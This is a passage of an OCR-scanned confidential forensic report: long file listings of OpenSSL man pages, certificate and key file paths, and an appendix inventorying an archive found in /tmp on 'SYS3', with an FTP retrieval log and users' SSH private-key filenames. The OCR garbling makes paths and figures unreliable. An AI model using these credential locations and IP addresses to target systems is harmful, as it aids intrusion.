13137 Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/RSA set m ethod .3  

5913 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/RSA_s ign . 3  

5702 Feb  2 1  2003 /usr/loca l/ss l/man/man3/RSA_s ign_ASN l_OCTET_STRI NG . 3  

4466 Feb  2 1  2003 /usr/ loca l/ss l/ma n/man3/RSA_s ize .3 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/ma n3/RSA_verify .3 -> RSA_s ign . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/RSA_verify_ASN l_OCTET_STRI NG . 3  - >  RSA_sign_ASN l_OCTET_STR I NG .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/RSA_PKCSl_SSLeay. 3 ->  RSA_set_method . 3  

O Ma r  1 1  2003 /u sr/loca l/ssl/ma n/man3/SHA1 .3  - >  s h a . 3  

O Ma r  11  2003 /usr/loca l/ss l/m a n/man3/SHA1 F i n a l . 3  - >  sha . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/SHA1 l n it . 3  -> sha . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/SHAl_U pdate . 3  -> sha . 3  

5991  Feb 2 1  2003 /usr/loca l/ss l/man/man3/S M I M E  rea d  P KCS7 .3  
- -

5718 Feb 2 1  2003 /usr/ loca l/ss l/ma n/man3/S M I M E_wri te_PKCS7 . 3  

6595 J a n  20 2003 /usr/loca l/ss l/m a n/man3/SSL_accept .3 

13997 Jan 20  2003 /usr/loca l/ss l/ma n/man3/SSL_a le rt_type_str ing .3 
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6074 J a n  20 2003 /usr/ loca l/ss l/man/man3/SSL_c lear. 3  

6346 J a n  20  2003 /usr/ loca l/ss l/m a n/ma n3/SSL_connect . 3  

6646 J a n  20 2003 /usr/ loca l/ss l/man/man3/SSL_do_handshake . 3  

5296 J a n  20 2003 /usr/ loca l/ss l/m a n/man3/SSL_free. 3  

5 1 1 1  J a n  20 2003 /usr/loca l/ss l/m a n/ma n3/SSL_get_ci p hers. 3 

Report 

5368 J a n  20 2003 /usr/ loca l/ss l/man/ma n3/SSL_get_c l ient_CA_I i st .3  

5369 Jan  20 2003 /usr/ loca l/ss l/man/man3/SSL_get_cu rrent_ci pher .3  

4932 Jan  20 2003 /usr/ loca l/ss l/m a n/man3/SSL_get_defa u l t_ti meout .3 

8990 Jan 20 2003 /usr/ loca l/ss l /man/ma n3/SSL_get_error. 3 

5772 J a n  20 2003 /usr/loca l/ss l/ma n/ma n3/SSL_get_ex_data_X509_STORE_CTX_idx.3 

5820 J a n  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_get_ex_new_i ndex. 3 

4828 J a n  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_get_fd . 3  

5314 J a n  20  2003 /usr/ loca l/ss l/m a n/ma n3/SSL_get_peer_cert_cha i n . 3  

5403 J a n  20  2003 /usr/ loca l/ss l/ma n/ma n3/SSL_get_peer_certifi cate . 3  

4635 J a n  20 2003 /usr/ loca l/ss l/ma n/man3/SSL_get_rbio . 3  

6246 J a n  20 2003 /usr/ loca l/ss l/ma n/ma n3/SSL_get_sess ion . 3  

5314 J a n  20 2003 /us r/ loca l/ss l/ma n/ma n3/SSL_get_verify_resu l t .3  

4636 Jan 20 2003 /usr/ loca l/ss l/m a n/man3/SSL_get_vers i on . 3  
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Report 

4387 J a n  20 2003 /usr/loca l/ss l/ma n/ma n3/SSL_get_SSL_CTX. 3  

5405 J a n  20 2003 /usr/loca l/ss l/m a n/ma n3/SSL_I i bra ry_i n i t .3  

5354 Jan 20 2003 /usr/loca l/ss l/m a n/man3/SSL_Ioad_c l i ent_CA_fi l e . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/SS L_Ioad_e rror_str ings . 3  ->  ERR_Ioad_crypto_str ings . 3  

4830 J a n  20 2003 /usr/loca l/ss l/ma n/man3/SSL new.3 

4988 Jan 20 2003 /usr/loca l/ss l/ma n/man3/SSL_pend ing .3  

8842 Jan  20 2003 /usr/loca l/ss l/ma n/man3/SSL_read .3  

5613 J a n  20 2003 /usr/loca l/ss l/ma n/ma n3/SSL_rstate_stri ng .3 

473 1 Jan 20 2003 /usr/loca l/ss l/m a n/man3/SSL sessio n  reused .3  
- -

4775 J a n  20 2003 /usr/loca l/ss l/ma n/man3/SSL_set_bio . 3 

5632 J a n  20 2003 /usr/loca l/ss l/m a n/man3/SSL set con nect state . 3  
- - -

5324 J a n  20 2003 /usr/loca l/ss l/ma n/man3/SSL set fd . 3  

5553 J a n  2 0  2003 /usr/loca l/ss l/ma n/man3/SSL set sessi on . 3  

6042 J a n  20 2003 /usr/ loca l/ss l/ma n/ma n3/SSL_set_shutdown .3  

4892 J a n  20 2003 /usr/loca l/ss l/ma n/man3/SSL_set_ve rify_resu l t .3  

1 1477 Jan 20  2003 /usr/loca l/ss l/ma n/man3/SSL_shutdown . 3  

5 272 J a n  20 2003 /usr/loca l/ss l/m a n/man3/SSL_state_stri ng .3 

6285 Jan 20 2003 /usr/loca l/ss l/m a n/man3/SSL want .3  
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8 186 Jan 20 2003 /usr/ loca l/ss l/man/man3/SSL write . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/SSL_C I PHER_descri pt ion . 3  ->  SSL_C I PHER_get_na me .3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/SSL_C I PHER_get_bits . 3  -> SSL_C I PHER_get_name .3  

8222  Feb  2 1  2003 /usr/ loca l/ss l/ma n/man3/SSL_CI PHER_get_na me.3 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/SSL_C I PHER_get_vers ion . 3  -> SSL_C IPH ER_get_na me .3  

642 1 Feb 2 1  2003 /usr/loca l/ss l/ma n/man3/SSL_COM P  _add_compress ion_method .3  

O Feb 2 1  2003 /usr/l oca l/ssl/ma n/man3/SSL CTX add  extra cha i n  cert .3  
- - - - -

5825 J a n  20 2003 /usr/l oca l/ss l/man/man3/SSL_CTX_add_sess ion .3  

4931  Jan  20 2003 /usr/ loca l/ss l/m a n/man3/SSL CTX ctr l . 3  

5447 Jan  20 2003 /usr/loca l/ss l/ma n/man3/SSL_CTX_fl ush_sessions .3  

4638 Jan  20 2003 /usr/l oca l/ss l/ma n/ma n3/SSL_CTX_free . 3  

5690 J a n  20 2003 /usr/loca l/ss l/m a n/ma n3/SSL_CTX_get_ex_new_i ndex .3  

5688 Jan  20 2003 /usr/ loca l/ss l/ma n/ma n3/SSL_CTX_get_verify_mode .3  

8335 Jan  20 2003 /usr/ loca l/ss l/man/ma n3/SSL_CTX_Ioad_verify_locations .3  

7715 Jan  20 2003 /usr/loca l/ss l/man/man3/SSL_CTX_new.3  

6897 J a n  20 2003 /usr/loca l/ss l/ma n/man3/SSL  CTX sess n u m ber .3 
- - -

5476 J a n  20 2003 /usr/loca l/ss l/ma n/m a n3/SSL_CTX_sess_set_cache_s ize .3 

7842 Jan 20 2003 /usr/loca l/ss l/ma n/ma n3/SSL_CTX_sess_set_get_cb .3  
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4724 J a n  20 2003 /usr/ loca l/ss l/m a n/man3/SSL_CTX_sess ions .3  

5873 Jan  20 2003 /usr/ loca l/ss l/m a n/man3/SSL CTX set cert store . 3  
- - - -

Report 

6899 J a n  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_ce rt_verify_ca l l back .3 

6693 Jan 20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_c ipher_l i st .3  

8423 Jan  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_cl i ent_cert_cb .3  

7 172 Jan 20 2003 /usr/ l oca l/ss l/man/man3/SSL CTX set c l i ent CA l i st. 3 
- - - - -

6920 J a n  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_defa u lt_passwd_cb .3  

9743 Jan 20 2003 /usr/ loca l/ss l/m a n/man3/SSL  CTX set i n fo ca l l back .3  
- - - -

6654 J a n  20 2003 /usr/ loca l/ss l/ma n/ma n3/SSL_CTX_set_mode .3 

11867 Jan 20 2003 /usr/ loca l/ss l/m a n/m a n3/SSL_CTX_set_options .3  

6 157 Jan  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_q u iet_sh utdown .3  

7766 J a n  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_sess ion_cache_mode .3 

6828 Jan 20 2003 /usr/ loca l/ss l/ma n/man3/SSL CTX set sess ion  i d  con text .3  
- - - - -

5481 J a n  20 2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_ss l_vers ion .3  

5791 J a n  20 2003 /usr/ loca l/ss l/ma n/ma n3/SSL_CTX_set_t imeout .3 

10979 Jan 20 2003 /usr/ loca l/ss l/m a n/man3/SSL_CTX_set_tm p_d h_ca l l back .3 

11002 Jan 20  2003 /usr/ loca l/ss l/m a n/ma n3/SSL_CTX_set_tm p_rsa_ca l l back .3 

16179 Jan 20  2003 /usr/ loca l/ss l/ma n/ma n3/SSL_CTX_set_veri fy .3  
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12252 Jan 20  2003 /usr/loca l/ss l/ma n/m a n3/SSL_CTX_use_certifi cate . 3  

6059 J a n  20 2003 /usr/loca l/ss l/m a n/man3/SSL_SESS ION_free. 3 

6123 J a n  20 2003 /usr/ loca l/ss l/ma n/ma n3/SSL_SESS ION_get_ex_new_i ndex.3 

6032 Jan 20 2003 /usr/loca l/ss l/ma n/man3/SSL_SESS ION_get_t ime .3  

O Mar  11  2003 /usr/loca l/ss l/man/man3/SSLeay. 3 -> OPENSSL_VERS I ON_N U M BER .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/SSLeay_version . 3  ->  OPENSSL_VERSION_N U M BER .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_add_error_stri ng . 3  -> u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_add_i nfo_str i ng .3 -> u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_add_i nput_boo lea n . 3  ->  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/ma n3/U I_add_i n put_str i ng .3 -> u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_add_use r_data . 3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_add_verify_str ing .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/m a n/man3/U I_construct_prom pt .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/U I ctr l . 3  - >  u i . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/man/man3/U I_d u p_error_stri ng .3 - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/U I_dup_i nfo_str ing .3 - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/U I_dup_i nput_boo lea n . 3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/U I_dup_i n put_str i ng .3 - >  u i . 3  
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Report 

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/U I_du p_ve rify_str ing .3 -> u i . 3  

O M a r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_free .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/U I_get_defa u lt_method .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/U I_get_method .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_getO_resu l t .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/U I_getO_user_data . 3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/U I_new. 3  - >  u i . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/U I_new_method .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/U I_process . 3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/U I_set_defa u l t_method .3  - >  u i . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/U I_set_method . 3  - >  u i . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/U I_OpenSSL .3 - >  u i . 3  

O Ma r  11  2003 /usr/loca l/ss l/ma n/man3/X509_free . 3  - >  X509_new.3 

4794 Feb 21 2003 /usr/loca l/ss l/ma n/man3/X509 new.3 

O Mar 11  2003 /usr/ loca l/ss l/ma n/man3/X509_NAM E_add_entry .3  -> X509_NAM E_add_entry_by_txt . 3  

8458 Feb  2 1  2003 /usr/ loca l/ss l/ma n/ma n3/X509_NAM E_add_entry_by_txt . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/m a n/man3/X509_NAM E_add_entry_by_N I D . 3  -> X509_NAM E_add_entry_by_txt . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/m a n3/X509_NAM E_add_entry_by_OBJ . 3  -> X509_NAM E_add_entry_by_txt . 3  

Stri ct ly contident ia  l l Bus iness Secret l 
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l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

- rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

- rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

- rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

Re porl  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/X509_NAM E_de lete_entry .3  -> X509_NAM E_add_entry_by_txt . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/X509_NAM E_entry_cou nt .3  ->  X509_NAM E_get_i ndex_by_N I D . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/man/ma n3/X509_NAM E_get_entry. 3 ->  X509_NAM E_get_i ndex_by_N I D . 3  

7763 Feb 2 1  2003 /usr/loca l/ss l/m a n/man3/X509_NAM E_get_i ndex_by_N I D . 3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/ma n3/X509_NAM E_get_i ndex_by_OBJ . 3  - >  X509_NAM E_get_i ndex_by_N I D . 3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/X509_NAM E_get_text_by_N I D . 3  ->  X509_NAM E_get_i ndex_by_N I D . 3  

O M a r  1 1  2003 /usr/loca l/ssl/ma n/man3/X509_NAM E_get_text_by_OBJ . 3  -> X509_NAM E_get_i ndex_by_N I D . 3  

O Ma r  1 1  2003 /usr/ loca l/ss l/ma n/man3/X509_NAM E_one l i ne . 3  -> X509_NAME_pr int_ex .3  

O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man3/X509_NAME_pr int .3 -> X509_NAME_pri nt_ex.3 

8943 Feb 21  2003 /usr/ l oca l/ss l/man/man3/X509_NAM E_pri nt_ex .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/ma n3/X509_NAME_pr int_ex_fp. 3 -> X509_NAME_pri nt_ex.3 

Sidan  417  av 574 

O Ma r  11 2003 /usr/ loca l/ssl/ma n/ma n3/X509_NAM E_ENTRY_create_by_txt . 3  -> X509_NAME_ENTRY_get_object .3  

O Mar  11  2003 /usr/ loca l/ssl/ma n/ma n3/X509_NAM E_ENTRY_create_by_N I D. 3  -> X509_NAME_ENTRY_get_object .3  

O Mar  1 1  2003 /usr/ loca l/ssl/ma n/man3/X509_NAME_ENTRY_create_by_OBJ . 3  -> X509_NAM E_ENTRY_get_object .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/man3/X509_NAME_ENTRY_get_data . 3  -> X509_NAM E_ENTRY_get_object .3  

6919 Feb 2 1  2003 /usr/ loca l/ss l/ma n/ma n3/X509_NAM E_ENTRY_get_object .3  

O Mar 1 1  2003 /usr/loca l/ss l/ma n/ma n3/X509_NAME_ENTRY_set_data . 3  -> X509_NAM E_ENTRY_get_object .3  

O Ma r  1 1  2003 /usr/loca l/ssl/ma n/man3/X509_NAM E_ENTRY_set_object .3  -> X509_NAM E_ENTRY_get_object .3  

Stri ct ly confidenti a l  l Bus i ness Secret l 



d rwxr-xr-x O O l 

-rw-r--r-- O O l 

d rwxr-xr-x O O l 

- rw-r--r-- O O l 

l rwxrwxrwx O O l 

l rwxrwxrwx O O l 

O Ma r  1 1  2003 /usr/loca l/ss l/m a n/man5/ 

9340 Feb 2 1  2003 /usr/loca l/ss l/ma n/man5/config .5 

O Mar 1 1  2003 /usr/ loca l/ss l/ma n/man7  l 

10226 Fe b 2 1  2003 /usr/loca l/ssl/man/man7  /des modes .  7 

O M a r  1 1  2003 /usr/ loca l/ss l/ma n/man7/of. 7 -> des_modes .7 

O Mar 1 1  2003 /usr/loca l/ss l/ma n/ma n7/DES .7 -> des_modes .7 

Report 

l rwxrwxrwx O O l O Ma r  1 1  2003 /usr/loca l/ss l/ma n/man7/Modes .7 -> des_modes .7  

d rwxr-xr-x O O l 

- rwxr-xr-x O O l 

-rwxr-xr-x O O l 

- rwxr-xr-x O O l 

- rwxr-xr-x O O l 

- rwxr-xr-x O O l 

- rwxr-xr-x O O l 

- rwxr-xr-x O O l 

- rw-r--r-- O O l 

d rwxr-xr-x O O l 

O M a r  1 1  2003 /usr/ loca l/ss l/mi sc/ 

119 Feb 2 1  2003 /usr/loca l/ss l/mi sc/c hash  

152 Feb 2 1  2003 /usr/ loca l/ss l/misc/c_i nfo 

113  Feb 2 1  2003 /usr/ loca l/ss l/mi sc/c_issuer 

110 Feb 21 2003 /usr/loca l/ss l/misc/c_name  

6739 Fe b 2 1  2003 /usr/loca l/ss l/misc/der  _eho  p 

5219 Feb 2 1  2003 /usr/loca l/ss l/mi sc/CA. p l  

3505 Feb 21 2003 /usr/ loca l/ss l/misc/CA.sh 

7521  Feb 2 1  2003 /usr/loca l/ss l/openss l .cnf 

O Sep 9 2002 /usr/loca l/ss l/p rivate/ 

d rwxr-xr-x O O 2 138400 O N ov 7 2003 /usr/loca i/ASAM/ 
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d rwxr-xr-x O O 2 138400 

d rwxr-xr-x O O 2 138400 

d rwxr-xr-x O O 2 138400 

d rwxr-xr-x O O 2 138400 

-rwxr-xr-x O O 2 138400 

d rwxr-xr-x O O 2 138400 

d rwxr-xr-x O O 2 138400 

d rwxr-xr-x O O 2 138400 

Report 

O Aug 14 2003 /usr/ loca i/ASAM/bi n/ 

O Aug 14 2003 /usr/ loca l/ ASAM/bin/P iatformServi ces/ 

O Aug 14 2003 /usr/ loca l/ ASAM/bi n/P i atformServi ces/P iatform Rece iver/ 

O Aug 14 2003 /usr/ loca l/ ASAM/bi n/P i atformServ ices/Pi atform Rece iver/crf/ 

91657 Aug 14 2003 /usr/ loca i/ASAM/bi n/Pi atformServices/P i atform Rece iver/crf/en . crf 

O Aug 14 2003 /usr/ loca i/ASAM/data/ 

O Aug 14 2003 /usr/ loca l/ ASAM/data/Pi atformServices/ 

O N ov 14 2003 /usr/ loca i/ASAM/data/P i atformServices/certs/ 

-rw-rw-rw- O 7314 2138400 757 J u l  2 2004 /usr/loca i/ASAM/data/P i atformServi ces/certs/ca . pem 

-rw-rw-rw- O 7314 2138400 908 J u l  2 2004 /usr/loca i/ASAM/data/P i atformServices/certs/cert . pem 

-rw-rw-rw- O 7314 2138400 887 J u l  2 2004 /usr/ loca i/ASAM/data/P i atformServi ces/ce rts/key. pem 

-rw-r--r-- O O l 1425 Feb 22  2003 /usr/ loca i/READM E.openssh 

Strictly confidenti a l  l Bus i ness Secret l 
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Sidan 420 av 574 

Report 

App endix P :  Content o f  archive fil e "u.tgz" from SYS3 

I n  the /tm p  cata l og of SYS3 there was a fi l e  ca l l ed "u .tgz" 

2012-03-20;09 .00 .00;2012-03-20-

09 .28 .37 . 240000;<C5>U N KN OWN;SYS3;; 192 . 16 . 143 .2 ;21; ; ; RETR;SEQ; N U S; I ;S; F ;H ;08 .27 .5 1;08 .28 . 37;8327 1700;S; ; ; ; FTPD1; DAFAS;93 . 186. 170.54;27722;/tm p/ 

. ,/u . it .tgz 

d r-xr-xr-x O 1520 438400 O Feb 16 2012 /u/ 

-rw------- O 1520 438400 443 Sep 29 2011 /u/. sh_h istory 

d rwx------ O 7554 438400 O Feb 17 2012 /u/d044/ 

d rwxrwxrwx O 7554 438400 O Feb 22 2012 /u/d044/trex/ 

-rwx------ O 7554 438400 16 Feb 20 2012 /u/d044/trex/test.txt 

-rw-r--r-- O 7554 438400 67392 Feb 22 2012 /u/d044/trex/xsea l . c  

d r-xr-xr-x O O 1 

d r-xr-xr-x O O 1 

d r-xr-xr-x O O 1 

d r-xr-xr-x O O 1 

O Feb 12 2012 /u/d345/ 

O Ma r  15 2012 /u/d384/ 

O Feb 12 2012 /u/d552/ 

O Feb 12 2012 /u/d610/ 

Strictly confidenti a l  l Bus i ness Secret l 



d r-xr-xr-x O O 1 

d r-xr-xr-x O O 1 

d r-xr-xr-x O O O 

O Feb 12 2012 /u/d666/ 

O Feb 12 2012 /u/d700/ 

O Aug 30 2005 /u/d818/ 

d rwxr-xr-x O 1032 481800 O Oct 22 2010 /u/d818/DAF1032/ 

-rw-r--r-- O 1032 O 92 Aug 30 2005 /u/d818/DAF1032/. p rofi l e  

-rw------- O 1032 O 407 Aug 30 2005 /u/d818/DAF1032/. sh_h i story 

d rwx------ O 1032 481800 O Aug 30 2005 /u/d818/DAF1032/.ssh/ 

-rw------- O 1032 481800 528 Aug 30 2005 /u/d818/DAF1032/ .ssh/i dent ity 

-rw-r--r-- O 1032 481800 332 Aug 30 2005 /u/d818/DAF1032/.ssh/identity. pub  

-rw-r--r-- O 1032 481800 334  Aug  30  2005 /u/d818/DAF1032/. ssh/known_hosts 

-rw------- O 1032 481800 1024 Aug 30 2005 /u/d818/DAF1032/.ssh/prng_seed 

-rw-r--r-- O 1032 481800 39819 Apr 12 2010 /u/d818/DAF1032/dd :C ITYMAI L 

-rw-r--r-- O 1032 481800 13200 May 31  2008 /u/d818/DAF1032/dd :C5 F I L  

- rw-r--r-- O 1032 481800 1 1448 J a n  2 0  2006 /u/d818/DAF1032/dd : F I L1A 

-rw-r--r-- O 1032 481800 319100 Apr 12 2010 /u/d818/DAF1032/dd : POSTEN 

-rw-r--r-- O 1032 481800 724986 Apr  9 2010 /u/d818/DAF1032/d d : RESNAM E 

-rw-r--r-- O 1032 481800 105 N ov 18 2005 /u/d818/DAF1032/d d :STATFAKT 

-rw-r--r-- O 1032 481800 632 Dec 6 2005 /u/d818/DAF1032/d d :STATUT 
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-rw-r--r-- O 1032 481800 580 May 29 2006 luld818IDAF1032Idd :STATUTP 

-rw-r--r-- O 1032 481800 34579 Oct 22 2010 luld818IDAF1032Idd : UTLAN D 

d r-xr-xr-x O O 1 

d r-xr-xr-x O O 1 

O Feb 12 2012 luld838l 

O Ma r  20 2012 luld955l 

d rwx------ O 1367 495500 O J a n  4 2007 luld955IDAF1367 l 

-rw-r----- O 9 18 495500 626 Ma r  13 2003 luld955IDAF1367 l. p rofi l e  

-rw------- O 1367 495500 1314 Jan  4 2007 luld955IDAF1367 l .sh_h i story 

d rwxr-xr-x O 1367 495500 O Ju n 12 2003 luld955IDAF1367 l.sshl 

-rw------- O 1367 495500 883 M a r  13 2003 luld955IDAF1367I.sshlid_rsa 

-rw-r--r-- O 1367 495500 223 Ma r  13 2003 luld955IDAF1367 /.sshlid_rsa . pub  

-rw------- O 1367 495500 528 Ju n 12  2003 luld955IDAF1367 /.sshlident ity 

-rw-r--r-- O 1367 495500 332 Ju n 12  2003 luld955IDAF1367 l.sshlidentity . pub  

- rw-r--r-- O 1367 495500 2014 Ju l  29 2005 luld955IDAF1367 l .sshlknown_hosts 

-rw-r--r-- O 1367 495500 1286 Ju n 12 2003 luld955IDAF1367 l.sshlknown hosts .o l d  

-rw------- O 1367  495500 1024 Oct 18 2006 luld955IDAF1367 l.sshlprng_seed 

-rwx------ O 1559 495500 91 N ov 23 2006 luld955IDAF1367 lapa . txt 

-rwx------ O 1559 495500 656 N ov 23 2006 luld955IDAF1367 lcheckcpu . txt 

- rw-rw-r-- O 1367 495500 2887 May 10 2005 luld955IDAF1367 ldd : B ETALRAD 
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- rw-rw-r-- O 1367 495500 112 May 10 2005 /u/d955/DAF1367 /dd : B ETG U BBE  

- rw-rw-r-- O 1367  495500 345 1 J an  15 2004 /u/d955/DAF1367 /dd : D I SCL IST 

- rw-rw-r-- O 1367 495500 14021 Sep 29 2004 /u/d955/DAF1367 /dd : ERRCOU NT 

-rw-rw-r-- O 1367 495500 942 Aug 30 2005 /u/d955/DAF1367 /dd : FAKTLIST 

- rw-rw-r-- O 1367 495500 2774 J a n  9 2006 /u/d955/DAF1367 /dd :J 

-rw-rw-r-- O 1367 495500 180 Ju n 2 2005 /u/d955/DAF1367 /dd : MAI LF I L 

-rw-rw-r-- O 1367 495500 344218 N ov 26  2004 /u/d955/DAF1367 /dd : RESNAM E 

-rw-rw-r-- O 1367 495500 32  Ju n 1 2005 /u/d955/DAF1367 /dd :SMSOK 

-rw-rw-r-- O 1367 495500 388 Aug 30 2005 /u/d955/DAF1367 /dd :STATFSPA 

-rw-rw-r-- O 1367 495500 265 N ov 26 2004 /u/d955/DAF1367 /dd :STATLIST 

-rw-rw-r-- O 1367 495500 33 May 10 2006 /u/d955/DAF1367 /dd :STATSE MA 

-rw-rw-r-- O 1367 495500 402 May 26 2004 /u/d955/DAF1367 /dd : U N I 2 PRT 

-rw-rw-r-- O 1367 495500 40540 Apr 29 2005 /u/d955/DAF1367 /dd :XM L 

-rw-rw-r-- O 1367 495500 243 Aug 30 2005 /u/d955/DAF1367 /dd :XMUCL  

-rwxr-xr-x O 1367  495500 126976 Oct 16 2006 /u/d955/DAF1367 /get_ cpu 

d rwxrwxr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 /i s i s/ 

d rwxrwxr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367/ is i s/i pa_620/ 

d rwxrwxr-- O 1367 495500 O Oct 16  2011 /u/d955/DAF1367 / is is/i pa_620/objects/ 

Strict ly contident ia  l l Bus i ness Secret l 
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Report 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/ 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/ ipa __ 620/objects/b i n a ries/OOOOOOOO/ 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/OOOOOOOO/OOOOOOOO/ 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000c/ 

-rwxr-xr-x O 1367 495500 374949 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00000c/c8 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000d/ 

-rwxr-xr-x O 1367 495500 14784 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00000d/a b . b i4 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

3113  Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00000d/ac .b i4 

3344 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000d/ad . b i4 

3 795 O et 17 2006 /u/ d955/DAF1367 /i s i s/i p a_ 620/ objects/b i  n a ri es/00000000/00000000/00000d/ a e .  b i4 

1890 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000d/af. b i4 

3296 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000d/a l . b i4 

4174 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000d/a2 . b i4 

1940 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000d/a5 . b i4 

2697 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000d/a6 . b i4 

1814 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00000d/a8 . b i4 

2734 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000d/a9 . b i4 

2577 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000d/ba . b i4 
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-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

Report 

